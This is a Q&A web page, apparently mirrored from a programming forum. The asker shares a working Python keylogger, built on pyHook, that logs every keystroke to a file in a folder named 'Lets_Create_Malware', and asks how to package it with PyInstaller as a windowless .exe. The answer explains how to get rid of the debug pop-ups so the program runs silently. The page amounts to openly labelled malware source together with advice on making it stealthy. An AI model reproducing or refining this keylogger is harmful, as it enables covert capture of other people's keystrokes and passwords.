简体   繁体   中英

Using Pyinstaller with -noconsole gives Pop-ups instead

I have python file, saved with .pyw to suppress console

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Then I convert to .exe with pyinstaller,

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw

but when I double-click the .exe, I get console

在此处输入图片说明

I tried --noconsole option, ie

c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw

But when I double-click the .exe, I get series of annoying pop-ups that I must terminate with Task Manager.

How to fix?

在此处输入图片说明

Please create a .spec file and then add in the EXE section just

debug=False

The PyInstaller manual explains spec files here . Then call the pyinstaller with the spec file instead of the script file.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM